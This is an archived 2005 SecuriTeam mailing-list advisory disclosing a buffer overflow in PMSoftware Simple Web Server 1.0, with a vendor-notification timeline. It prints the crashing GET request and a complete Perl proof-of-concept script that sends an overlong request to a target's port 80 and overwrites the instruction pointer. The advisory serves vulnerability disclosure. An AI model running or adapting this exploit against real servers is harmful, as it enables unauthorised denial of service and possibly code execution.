

[NT] PMSoftware Simple Web Server Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0101.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 04/19/05

To: list@securiteam.com

Date: 19 Apr 2005 15:06:05 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PMSoftware Simple Web Server Buffer Overflow

SUMMARY

" <<http://www.pmx.it/>> Simple Web Server the easy and small way to open an HTTP Web Server"

PMSoftware's Simple Web Server doesn't do proper bounds checking handling of normal GET requests. Sending an overlong page or script name, it causes an buffer overflow and an attacker can run arbitrary code on the victims machine.

DETAILS

Vulnerable Systems:

- * Simple Web Server version 1.0

The following request causes Simple Web Server to crash:

GET /AAAAAA.....AAAA with 260 A's

Exploit:

```
#!/usr/bin/perl
```

```
# DoS Exploit By mthumann@ernw.de
```

Securiteam: [NT] PMSoftware Simple Web Server Buffer Overflow

```
# Tested against WinXP + SP2
# Remote Buffer Overflow in PMSoftware Simple Web Server 1.0.15
# buffer[250]

use Socket;

print "PMSoftware Simple Web Server Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
    print "Usage: swsexploit.pl <host>\n";
    exit;}

$ip=$ARGV[0];

print "Sending Shellcode to: " . $ip . "\n\n";
my $testcode= "ERNWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB".
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC".
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD".
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE".
"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF".
"ABCDEFGHIJAAAA"; #EIP =41414141

my $attack="GET /" . $testcode . " HTTP/1.1\n" ;

$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
    select(S);
    $|=1;
    print $attack;
    my @in=<S>;
    select(STDOUT);
    close(S);
} else { die("Can't connect...\n"); }
```

Disclosure Timeline:

17 Feb 2005: Vulnerability reported to vendor
28 Feb 2005: 2nd report because the vendor didn't respond
07 Mar 2005: 3rd mail sent to thre vendor – vendor didn't respond
18 Apr 2005: Public Disclosure

ADDITIONAL INFORMATION

The information has been provided by <mailto:mozilla@ids-guide.de> ERNW Security.

=====

Securiteam: [NT] PMSoftware Simple Web Server Buffer Overflow

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.